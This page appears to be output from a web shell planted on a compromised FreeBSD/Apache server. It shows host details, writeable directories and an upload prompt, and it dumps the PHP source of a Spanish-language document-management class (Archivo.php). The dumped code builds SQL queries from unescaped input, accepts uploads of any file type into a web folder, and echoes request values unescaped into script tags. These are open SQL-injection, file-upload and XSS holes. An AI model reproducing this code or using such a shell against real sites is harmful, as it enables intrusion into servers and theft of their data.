KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/documentos/docs/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/documentos/docs/fnc/Archivo.php
<?php 
class Archivo extends Componente{

/*constructor*/
function Archivo(){
	$this->DBManager('MySQL');
	$this->connect();
}

/*cargar archivo*/
function captureUpload($destDir,$nameCallback = false,$fieldName = '_upload',$maxFileSize = false){
   //make sure something is there
   if(!isset($_FILES[$fieldName]) || !isset($_FILES)|| !is_array($_FILES[$fieldName]) || !$_FILES[$fieldName]['name'])
       return array(false,"El formulario no tiene la etiqueta enctype=\"multipart/form-data\"");
   //normalize the file variable
   $file = $_FILES[$fieldName];
   if (!isset($file['type']))      $file['type']      = '';
   if (!isset($file['size']))      $file['size']      = '';
   if (!isset($file['tmp_name']))  $file['tmp_name']  = '';
   $file['name'] = preg_replace('/[^a-zA-Z0-9\.\$\%\'\`\-\@\{\}\~\!\#\(\)\&\_\^]/','',str_replace(array(' ','%20'),array('_','_'),$file['name']));
   //was it to big?
   if($maxFileSize && ($file['size'] > $maxFileSize))
       return array(false,"El tama�o del archivo es muy grande");
   //normalize destDir
   if(strlen($destDir)>0 && $destDir[strlen($destDir)-1] != "/")
       $destDir = $destDir.'/';
   //should we change the filename via a callback?
   if($nameCallback)
       $file['name'] = call_user_func_array($nameCallback, array($file,$destDir));
   $i = 0;    
   //if the filename already exists, append _copy_x (with extension)
   if(strpos($file['name'],'.') !== false){
       $bits = explode('.',$file['name']);
       $ext = array_pop($bits);
       while(file_exists($destDir.implode('.', $bits).($i?'_copy_'.$i:'').'.'.$ext)){
           ++$i;
           $file['name'] = implode('.',$bits).($i?'_copy_'.$i:'').'.'.$ext;
       }
   //if the filename already exists, append _copy_x (no extension)
   } else {
       while(file_exists($destDir.$file['name'].($i ?'_copy_'.$i:''))){
           ++$i;
           $file['name'] = $file['name'].($i?'_copy_'.$i:'');
       }
   }
	//$this->mostrarMensaje( $destDir.$file['name']);
   //and now the big moment
   if(!@copy($file['tmp_name'], $destDir.$file['name']))
       return array(false,"Permission denied to copy the file");
   else
       return array(true,$file['name']);
} 
/* modificar archivo*/
function mod_archivo($titulo,$archivo,$file,$id_arc,$nivel,$id,$name_carpeta,$ids,$name_subcarpeta,$idss,$name_subcarpetas,$idsss,$name_subcarpetass,$id_doc,$named){					
	$sql = "SELECT id FROM archivo WHERE documento='$id_doc' AND titulo='$titulo' AND id!='$id_arc'";
	$this->execute($sql);
	$cant=$this->numRows();
	if($cant==0){	
		
		$response;
		$rutafoto ="../archivos/".$file;
		if (file_exists($rutafoto)){
			if(!unlink($rutafoto)){
				$this->mostrarMensaje("Error: no se pudo borrar el archivo ".$file." del servidor \\nPermiso denegado");
			}
			list($success,$response) = $this->captureUpload('../archivos/',false,'archivo');						
			if(!$success){ 
				$this->mostrarMensaje("Error: ".$response);
			}else{
				$sql="update archivo set titulo='$titulo', fichero='$response' where id='$id_arc'";
			}
		}else{
			list($success,$response) = $this->captureUpload('../archivos/',false,'archivo');						
			if(!$success){ 
				$this->mostrarMensaje("Error: ".$response);
			}else{
				$sql="update archivo set titulo='$titulo', fichero='$response' where id='$id_arc'";
			}		
		}
		if($this->execute($sql)){
			$this->mostrarMensaje("File modified!");	
		}else{
			$this->mostrarMensaje("�imposible consultar la base de datos!");	
		}
	}else{
		$this->mostrarMensaje("Ya existe un archivo con el mismo nombre. Especifique otro nombre de archivo.");
		echo "<script>window.open(\"../mod_archivo.php?nivel=$nivel&id=$id&ids=$ids&idss=$idss&idsss=$idsss&name_carpeta=$name_carpeta&name_subcarpeta=$name_subcarpeta&name_subcarpetas=$name_subcarpetas&name_subcarpetass=$name_subcarpetass&titulo=$titulo&id_doc=$id_doc&id_arc=$id_arc\",\"contenido\");</script>";
	}
	if($nivel==1){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=1&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta\",\"contenido\");</script>";
	}
	if($nivel==2){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=2&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta\",\"contenido\");</script>";
	}
	if($nivel==3){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=3&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta&idss=$idss&name_subcarpetas=$name_subcarpetas\",\"contenido\");</script>";
	}
	if($nivel==4){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=4&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta&idss=$idss&name_subcarpetas=$name_subcarpetas&idsss=$idsss&name_subcarpetass=$name_subcarpetass\",\"contenido\");</script>";
	}	
}

/* agregar archivo*/
function add_archivo($titulo,$archivo,$nivel,$id,$name_carpeta,$ids,$name_subcarpeta,$idss,$name_subcarpetas,$idsss,$name_subcarpetass,$id_doc,$named,$name_carpeta,$name_subcarpeta,$name_subcarpetas,$name_subcarpetass){					
	$hora = date('H:i:s',time());
	$sql = "SELECT id FROM archivo WHERE documento='$id_doc' AND titulo='$titulo'";
	$this->execute($sql);
	$cant=$this->numRows();
	if($cant==0){	

		$response;
		list($success,$response) = $this->captureUpload('../archivos/',false,'archivo');						
		if(!$success){ 
			$this->mostrarMensaje("Error: ".$response);
		}else{
			$sql="insert into archivo (documento, titulo, fichero, hora) values ('$id_doc','$titulo','$response', '$hora')";
			if($this->execute($sql)){
				$this->mostrarMensaje("File Saved.");
			}else{
				$this->mostrarMensaje("Can not access to DB.");
			}
		}
	}else{
		$this->mostrarMensaje("Ya existe un archivo con el mismo nombre. Especifique otro nombre de archivo.");
		echo "<script>window.open(\"../add_archivo.php?nivel=$nivel&id=$id&ids=$ids&idss=$idss&idsss=$idsss&name_carpeta=$name_carpeta&name_subcarpeta=$name_subcarpeta&name_subcarpetas=$name_subcarpetas&name_subcarpetass=$name_subcarpetass&titulo=$titulo&id_doc=$id_doc&named=$named\",\"contenido\");</script>";
	}	

	if($nivel==1){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=1&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta\",\"contenido\");</script>";
	}
	if($nivel==2){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=2&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta\",\"contenido\");</script>";
	}
	if($nivel==3){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=3&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta&idss=$idss&name_subcarpetas=$name_subcarpetas\",\"contenido\");</script>";
	}
	if($nivel==4){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=4&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta&idss=$idss&name_subcarpetas=$name_subcarpetas&idsss=$idsss&name_subcarpetass=$name_subcarpetass\",\"contenido\");</script>";
	}		
}

/* eliminar archivo*/
function eli_archivo($id_arc,$nivel,$id,$name_carpeta,$ids,$name_subcarpeta,$idss,$name_subcarpetas,$idsss,$name_subcarpetass,$id_doc,$named){					
	$sql="select fichero from archivo where id='$id_arc'";
	$this->execute($sql);
	if(list($fichero)=$this->fetchRow()){
		//borro archivos
		$rutafoto="../archivos/".$fichero;
		if (file_exists($rutafoto)){
			if(!unlink($rutafoto)){
				$this->mostrarMensaje("Error: no se pudo borrar el archivo del servidor \\nPermiso denegado!");	
			}else{
			$sql="delete from archivo where id = '$id_arc'";
				if($this->execute($sql)){
					$this->mostrarMensaje("Archivo eliminado con �xito!");	
				}else{
					$this->mostrarMensaje("�imposible consultar la base de datos!!");					
				}
			}
		}else{
			$sql="delete from archivo where id = '$id_arc'";
			if($this->execute($sql)){
				$this->mostrarMensaje("Archivo eliminado con �xito!");	
			}else{
				$this->mostrarMensaje("�imposible consultar la base de datos!!");					
			}		
		}
	}else{
		$this->mostrarMensaje("�imposible consultar la base de datos!");	

	}
	if($nivel==1){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=1&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta\",\"contenido\");</script>";
	}
	if($nivel==2){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=2&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta\",\"contenido\");</script>";
	}
	if($nivel==3){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=3&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta&idss=$idss&name_subcarpetas=$name_subcarpetas\",\"contenido\");</script>";
	}
	if($nivel==4){										
		echo "<script>window.open(\"../listar_archivo.php?nivel=3&id_doc=$id_doc&named=$named&id=$id&name_carpeta=$name_carpeta&ids=$ids&name_subcarpeta=$name_subcarpeta&idss=$idss&name_subcarpetas=$name_subcarpetas&idsss=$idsss&name_subcarpetass=$name_subcarpetass\",\"contenido\");</script>";
	}	
}

}
?>

Anon7 - 2021